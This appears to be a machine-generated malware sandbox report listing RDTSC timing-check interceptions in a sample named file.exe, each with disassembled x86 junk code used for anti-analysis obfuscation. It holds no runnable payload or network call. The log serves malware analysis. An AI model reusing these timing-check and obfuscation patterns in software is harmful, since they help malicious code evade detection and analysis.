Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CB0C second address: 69CB1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CB1C second address: 69CB76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a pop eax 0x0000000b sub ecx, 22E93FD6h 0x00000011 push 00000003h 0x00000013 movzx edi, di 0x00000016 sub dword ptr [ebp+122D32C9h], eax 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F892C6C1168h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 push 00000003h 0x0000003a jg 00007F892C6C116Ch 0x00000040 push 9100CCB8h 0x00000045 push esi 0x00000046 jbe 00007F892C6C116Ch 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CB76 second address: 69CBB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 add dword ptr [esp], 2EFF3348h 0x0000000c sub dword ptr [ebp+122D3C8Ah], ebx 0x00000012 lea ebx, dword ptr [ebp+124507DEh] 0x00000018 mov esi, 68DB30A4h 0x0000001d xchg eax, ebx 0x0000001e jmp 00007F892C71B56Dh 0x00000023 push eax 0x00000024 pushad 0x00000025 jc 00007F892C71B56Ch 0x0000002b js 00007F892C71B566h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 pop eax 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CD1F second address: 69CD23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CD23 second address: 69CD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007F892C71B56Eh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F892C71B571h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CD50 second address: 69CD61 instructions: 0x00000000 rdtsc 0x00000002 je 00007F892C6C1166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CD61 second address: 69CD77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop esi 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F892C71B566h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CD77 second address: 69CD7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CD7B second address: 69CD81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CD81 second address: 69CDE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F892C6C1166h 0x00000009 jmp 00007F892C6C1176h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop eax 0x00000012 call 00007F892C6C1176h 0x00000017 mov ecx, dword ptr [ebp+122D2B64h] 0x0000001d pop ecx 0x0000001e jmp 00007F892C6C1172h 0x00000023 lea ebx, dword ptr [ebp+124507E9h] 0x00000029 mov edi, dword ptr [ebp+122D2B70h] 0x0000002f push eax 0x00000030 pushad 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CDE4 second address: 69CDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF53D second address: 6AF54B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F892C6C116Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBEFF second address: 6BBF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBF03 second address: 6BBF08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBF08 second address: 6BBF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnp 00007F892C71B568h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBF1E second address: 6BBF28 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F892C6C1166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBF28 second address: 6BBF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F892C71B566h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC06C second address: 6BC0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F892C6C1175h 0x0000000b jl 00007F892C6C1166h 0x00000011 popad 0x00000012 pop ebx 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007F892C6C1166h 0x0000001c jmp 00007F892C6C1179h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC237 second address: 6BC254 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B579h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC856 second address: 6BC85A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCB18 second address: 6BCB1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCC41 second address: 6BCC45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCC45 second address: 6BCC69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C71B576h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F892C71B568h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCC69 second address: 6BCC91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1178h 0x00000007 je 00007F892C6C1172h 0x0000000d jp 00007F892C6C1166h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B25AA second address: 6B25B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FE0D second address: 68FE11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FE11 second address: 68FE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jno 00007F892C71B566h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 jnc 00007F892C71B566h 0x00000019 push edi 0x0000001a pop edi 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pushad 0x0000001f jmp 00007F892C71B574h 0x00000024 pushad 0x00000025 popad 0x00000026 jmp 00007F892C71B570h 0x0000002b popad 0x0000002c popad 0x0000002d pushad 0x0000002e jmp 00007F892C71B56Fh 0x00000033 push eax 0x00000034 push ecx 0x00000035 pop ecx 0x00000036 pop eax 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a pushad 0x0000003b popad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCF99 second address: 6BCF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCF9D second address: 6BCFA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD580 second address: 6BD58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F892C6C1166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD58A second address: 6BD5BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F892C71B579h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F892C71B56Ch 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007F892C71B566h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD5BF second address: 6BD5D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C116Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD74F second address: 6BD777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F892C71B566h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F892C71B57Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD777 second address: 6BD78A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007F892C6C1166h 0x0000000b jnc 00007F892C6C1166h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C12F7 second address: 6C12FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0196 second address: 6C01AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jng 00007F892C6C1168h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C01AB second address: 6C01AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C01AF second address: 6C01B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C01B5 second address: 6C01D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F892C71B577h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0987 second address: 6C098B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3D00 second address: 6C3D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F892C71B566h 0x0000000a popad 0x0000000b push esi 0x0000000c jmp 00007F892C71B575h 0x00000011 jmp 00007F892C71B56Ah 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3D2C second address: 6C3D56 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007F892C6C1166h 0x00000009 jmp 00007F892C6C1170h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F892C6C116Ch 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AE67 second address: 68AE8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C71B579h 0x00000009 jp 00007F892C71B566h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AE8B second address: 68AEA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C116Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F892C6C1166h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AEA2 second address: 68AEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AEA6 second address: 68AEAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8A7E second address: 6C8AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F892C71B566h 0x0000000a jo 00007F892C71B566h 0x00000010 popad 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F892C71B570h 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8AA5 second address: 6C8AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9271 second address: 6C9277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9277 second address: 6C927B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB2D8 second address: 6CB2DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB2DC second address: 6CB2E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB2E2 second address: 6CB2E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB2E8 second address: 6CB2EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB2EC second address: 6CB2F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB2F0 second address: 6CB31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F892C6C1176h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB31B second address: 6CB32D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB474 second address: 6CB48F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F892C6C1177h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB858 second address: 6CB873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F892C71B56Bh 0x0000000a popad 0x0000000b push eax 0x0000000c jl 00007F892C71B580h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB936 second address: 6CB93A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB93A second address: 6CB93E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB93E second address: 6CB944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB944 second address: 6CB94A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC08D second address: 6CC098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC1A2 second address: 6CC1A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC47C second address: 6CC48C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC567 second address: 6CC572 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F892C71B566h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCC2F second address: 6CCC42 instructions: 0x00000000 rdtsc 0x00000002 js 00007F892C6C1168h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD53F second address: 6CD543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD543 second address: 6CD549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD549 second address: 6CD5C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B571h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F892C71B568h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov esi, dword ptr [ebp+122D2AE0h] 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F892C71B568h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 mov esi, 1FA02542h 0x0000004b push 00000000h 0x0000004d xor si, 9069h 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jng 00007F892C71B568h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD5C6 second address: 6CD5D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F892C6C1166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE53A second address: 6CE53F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFF47 second address: 6CFF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 694F76 second address: 694F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F892C71B566h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 694F83 second address: 694F9D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnl 00007F892C6C1168h 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F892C6C1166h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 694F9D second address: 694FA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 694FA1 second address: 694FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2E6F second address: 6D2E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2E73 second address: 6D2EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 cmc 0x0000000a mov esi, dword ptr [ebp+122D231Ah] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F892C6C1168h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov esi, dword ptr [ebp+122D31BCh] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F892C6C1168h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e adc di, 8DC3h 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F892C6C1171h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2EE7 second address: 6D2F02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B570h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F02 second address: 6D2F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F06 second address: 6D2F0C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F0C second address: 6D2F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D593D second address: 6D5943 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D698B second address: 6D6991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4B5C second address: 6D4B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4B61 second address: 6D4B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
